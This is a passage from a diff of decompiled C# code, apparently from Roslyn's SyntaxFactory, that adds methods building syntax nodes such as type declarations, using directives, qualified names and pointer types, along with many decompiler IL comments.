SyntaxTokenList modifiers, SyntaxToken keyword, SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeParameterListSyntax? typeParameterList, Microsoft.CodeAnalysis.CSharp.Syntax.BaseListSyntax? baseList, SyntaxList constraintClauses, SyntaxToken openBraceToken, SyntaxList members, SyntaxToken closeBraceToken, SyntaxToken semicolonToken) + { + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0070: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_0089: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Unknown result type (might be due to invalid IL or missing references) + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ad: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00bf: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Unknown result type (might be due to invalid IL or missing references) + return kind switch + { + SyntaxKind.ClassDeclaration => ClassDeclaration(attributes, modifiers, keyword, identifier, typeParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken), + SyntaxKind.StructDeclaration => StructDeclaration(attributes, modifiers, keyword, identifier, typeParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken), + SyntaxKind.InterfaceDeclaration => InterfaceDeclaration(attributes, modifiers, keyword, identifier, typeParameterList, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken), + SyntaxKind.RecordDeclaration => RecordDeclaration(SyntaxKind.RecordDeclaration, attributes, modifiers, keyword, default(SyntaxToken), identifier, typeParameterList, null, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken), + SyntaxKind.RecordStructDeclaration => RecordDeclaration(SyntaxKind.RecordStructDeclaration, attributes, modifiers, keyword, Token(SyntaxKind.StructKeyword), identifier, typeParameterList, null, baseList, constraintClauses, openBraceToken, members, closeBraceToken, semicolonToken), + _ => throw ExceptionUtilities.UnexpectedValue((object)kind), + }; + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UnsafeStatementSyntax UnsafeStatement(SyntaxToken unsafeKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.BlockSyntax block) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return UnsafeStatement(default(SyntaxList), unsafeKeyword, block); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(SyntaxToken staticKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? alias, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(default(SyntaxToken), Token(SyntaxKind.UsingKeyword), staticKeyword, default(SyntaxToken), alias, name, Token(SyntaxKind.SemicolonToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(SyntaxToken globalKeyword, SyntaxToken usingKeyword, SyntaxToken staticKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.NameEqualsSyntax? alias, Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return UsingDirective(globalKeyword, usingKeyword, staticKeyword, default(SyntaxToken), alias, name, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingDirectiveSyntax UsingDirective(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax name) + { + return UsingDirective((Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax)name); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(SyntaxToken usingKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return UsingStatement(default(SyntaxToken), usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(SyntaxToken awaitKeyword, SyntaxToken usingKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return UsingStatement(default(SyntaxList), awaitKeyword, usingKeyword, openParenToken, declaration, expression, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.UsingStatementSyntax UsingStatement(Microsoft.CodeAnalysis.CSharp.Syntax.VariableDeclarationSyntax? declaration, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax? expression, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + return UsingStatement(default(SyntaxList), declaration, expression, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.WhileStatementSyntax WhileStatement(SyntaxToken whileKeyword, SyntaxToken openParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax condition, SyntaxToken closeParenToken, Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return WhileStatement(default(SyntaxList), whileKeyword, openParenToken, condition, closeParenToken, statement); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.YieldStatementSyntax YieldStatement(SyntaxKind kind, SyntaxToken yieldKeyword, SyntaxToken returnOrBreakKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return YieldStatement(kind, default(SyntaxList), yieldKeyword, returnOrBreakKeyword, expression, semicolonToken); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax IdentifierName(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = identifier.Kind(); + if (syntaxKind != SyntaxKind.GlobalKeyword && syntaxKind != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.IdentifierName((SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax QualifiedName(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax left, SyntaxToken dotToken, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax right) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (left == null) + { + throw new ArgumentNullException("left"); + } + if (dotToken.Kind() != SyntaxKind.DotToken) + { + throw new ArgumentException("dotToken"); + } + if (right == null) + { + throw new ArgumentNullException("right"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.QualifiedName((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.NameSyntax)(object)((SyntaxNode)left).Green, (SyntaxToken)(object)((SyntaxToken)(ref dotToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax)(object)((SyntaxNode)right).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.QualifiedNameSyntax QualifiedName(Microsoft.CodeAnalysis.CSharp.Syntax.NameSyntax left, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax right) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return QualifiedName(left, Token(SyntaxKind.DotToken), right); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax GenericName(SyntaxToken identifier, Microsoft.CodeAnalysis.CSharp.Syntax.TypeArgumentListSyntax typeArgumentList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (identifier.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("identifier"); + } + if (typeArgumentList == null) + { + throw new ArgumentNullException("typeArgumentList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.GenericName((SyntaxToken)(object)((SyntaxToken)(ref identifier)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeArgumentListSyntax)(object)((SyntaxNode)typeArgumentList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax GenericName(SyntaxToken identifier) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return GenericName(identifier, TypeArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.GenericNameSyntax GenericName(string identifier) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + return GenericName(Identifier(identifier), TypeArgumentList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeArgumentListSyntax TypeArgumentList(SyntaxToken lessThanToken, SeparatedSyntaxList arguments, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken.Kind() != SyntaxKind.LessThanToken) + { + throw new ArgumentException("lessThanToken"); + } + if (greaterThanToken.Kind() != SyntaxKind.GreaterThanToken) + { + throw new ArgumentException("greaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.TypeArgumentListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.TypeArgumentList((SyntaxToken)(object)((SyntaxToken)(ref lessThanToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(arguments.Node), (SyntaxToken)(object)((SyntaxToken)(ref greaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.TypeArgumentListSyntax TypeArgumentList(SeparatedSyntaxList arguments = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return TypeArgumentList(Token(SyntaxKind.LessThanToken), arguments, Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax AliasQualifiedName(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax alias, SyntaxToken colonColonToken, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (alias == null) + { + throw new ArgumentNullException("alias"); + } + if (colonColonToken.Kind() != SyntaxKind.ColonColonToken) + { + throw new ArgumentException("colonColonToken"); + } + if (name == null) + { + throw new ArgumentNullException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.AliasQualifiedName((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.IdentifierNameSyntax)(object)((SyntaxNode)alias).Green, (SyntaxToken)(object)((SyntaxToken)(ref colonColonToken)).Node, (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SimpleNameSyntax)(object)((SyntaxNode)name).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax AliasQualifiedName(Microsoft.CodeAnalysis.CSharp.Syntax.IdentifierNameSyntax alias, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return AliasQualifiedName(alias, Token(SyntaxKind.ColonColonToken), name); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.AliasQualifiedNameSyntax AliasQualifiedName(string alias, Microsoft.CodeAnalysis.CSharp.Syntax.SimpleNameSyntax name) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return AliasQualifiedName(IdentifierName(alias), Token(SyntaxKind.ColonColonToken), name); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PredefinedTypeSyntax PredefinedType(SyntaxToken keyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = keyword.Kind(); + if (syntaxKind - 8304 > (SyntaxKind)15) + { + throw new ArgumentException("keyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PredefinedTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PredefinedType((SyntaxToken)(object)((SyntaxToken)(ref keyword)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax ArrayType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType, SyntaxList rankSpecifiers) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (elementType == null) + { + throw new ArgumentNullException("elementType"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ArrayType((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)elementType).Green, GreenNodeExtensions.ToGreenList(rankSpecifiers.Node))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayTypeSyntax ArrayType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return ArrayType(elementType, default(SyntaxList)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayRankSpecifierSyntax ArrayRankSpecifier(SyntaxToken openBracketToken, SeparatedSyntaxList sizes, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.ArrayRankSpecifierSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.ArrayRankSpecifier((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(sizes.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.ArrayRankSpecifierSyntax ArrayRankSpecifier(SeparatedSyntaxList sizes = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return ArrayRankSpecifier(Token(SyntaxKind.OpenBracketToken), sizes, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PointerTypeSyntax PointerType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType, SyntaxToken asteriskToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (elementType == null) + { + throw new ArgumentNullException("elementType"); + } + if (asteriskToken.Kind() != SyntaxKind.AsteriskToken) + { + throw new ArgumentException("asteriskToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.PointerTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.PointerType((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)elementType).Green, (SyntaxToken)(object)((SyntaxToken)(ref asteriskToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.PointerTypeSyntax PointerType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return PointerType(elementType, Token(SyntaxKind.AsteriskToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerTypeSyntax FunctionPointerType(SyntaxToken delegateKeyword, SyntaxToken asteriskToken, Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax? callingConvention, Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax parameterList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + if (delegateKeyword.Kind() != SyntaxKind.DelegateKeyword) + { + throw new ArgumentException("delegateKeyword"); + } + if (asteriskToken.Kind() != SyntaxKind.AsteriskToken) + { + throw new ArgumentException("asteriskToken"); + } + if (parameterList == null) + { + throw new ArgumentNullException("parameterList"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerType((SyntaxToken)(object)((SyntaxToken)(ref delegateKeyword)).Node, (SyntaxToken)(object)((SyntaxToken)(ref asteriskToken)).Node, (callingConvention == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerCallingConventionSyntax)(object)((SyntaxNode)callingConvention).Green), (Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerParameterListSyntax)(object)((SyntaxNode)parameterList).Green)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerTypeSyntax FunctionPointerType(Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax? callingConvention, Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax parameterList) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerType(Token(SyntaxKind.DelegateKeyword), Token(SyntaxKind.AsteriskToken), callingConvention, parameterList); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerTypeSyntax FunctionPointerType() + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerType(Token(SyntaxKind.DelegateKeyword), Token(SyntaxKind.AsteriskToken), null, FunctionPointerParameterList()); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax FunctionPointerParameterList(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken.Kind() != SyntaxKind.LessThanToken) + { + throw new ArgumentException("lessThanToken"); + } + if (greaterThanToken.Kind() != SyntaxKind.GreaterThanToken) + { + throw new ArgumentException("greaterThanToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerParameterList((SyntaxToken)(object)((SyntaxToken)(ref lessThanToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(parameters.Node), (SyntaxToken)(object)((SyntaxToken)(ref greaterThanToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerParameterListSyntax FunctionPointerParameterList(SeparatedSyntaxList parameters = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerParameterList(Token(SyntaxKind.LessThanToken), parameters, Token(SyntaxKind.GreaterThanToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax FunctionPointerCallingConvention(SyntaxToken managedOrUnmanagedKeyword, Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = managedOrUnmanagedKeyword.Kind(); + if (syntaxKind - 8445 > SyntaxKind.List) + { + throw new ArgumentException("managedOrUnmanagedKeyword"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerCallingConvention((SyntaxToken)(object)((SyntaxToken)(ref managedOrUnmanagedKeyword)).Node, (unmanagedCallingConventionList == null) ? null : ((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerUnmanagedCallingConventionListSyntax)(object)((SyntaxNode)unmanagedCallingConventionList).Green))).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerCallingConventionSyntax FunctionPointerCallingConvention(SyntaxToken managedOrUnmanagedKeyword) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerCallingConvention(managedOrUnmanagedKeyword, null); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionListSyntax FunctionPointerUnmanagedCallingConventionList(SyntaxToken openBracketToken, SeparatedSyntaxList callingConventions, SyntaxToken closeBracketToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0043: Unknown result type (might be due to invalid IL or missing references) + if (openBracketToken.Kind() != SyntaxKind.OpenBracketToken) + { + throw new ArgumentException("openBracketToken"); + } + if (closeBracketToken.Kind() != SyntaxKind.CloseBracketToken) + { + throw new ArgumentException("closeBracketToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionListSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerUnmanagedCallingConventionList((SyntaxToken)(object)((SyntaxToken)(ref openBracketToken)).Node, GreenNodeExtensions.ToGreenSeparatedList(callingConventions.Node), (SyntaxToken)(object)((SyntaxToken)(ref closeBracketToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionListSyntax FunctionPointerUnmanagedCallingConventionList(SeparatedSyntaxList callingConventions = default(SeparatedSyntaxList)) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + return FunctionPointerUnmanagedCallingConventionList(Token(SyntaxKind.OpenBracketToken), callingConventions, Token(SyntaxKind.CloseBracketToken)); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionSyntax FunctionPointerUnmanagedCallingConvention(SyntaxToken name) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + if (name.Kind() != SyntaxKind.IdentifierToken) + { + throw new ArgumentException("name"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.FunctionPointerUnmanagedCallingConventionSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.FunctionPointerUnmanagedCallingConvention((SyntaxToken)(object)((SyntaxToken)(ref name)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NullableTypeSyntax NullableType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType, SyntaxToken questionToken) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (elementType == null) + { + throw new ArgumentNullException("elementType"); + } + if (questionToken.Kind() != SyntaxKind.QuestionToken) + { + throw new ArgumentException("questionToken"); + } + return (Microsoft.CodeAnalysis.CSharp.Syntax.NullableTypeSyntax)(object)((GreenNode)Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.SyntaxFactory.NullableType((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.TypeSyntax)(object)((SyntaxNode)elementType).Green, (SyntaxToken)(object)((SyntaxToken)(ref questionToken)).Node)).CreateRed(); + } + + public static Microsoft.CodeAnalysis.CSharp.Syntax.NullableTypeSyntax NullableType(Microsoft.CodeAnalysis.CSharp.Syntax.TypeSyntax elementType) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return 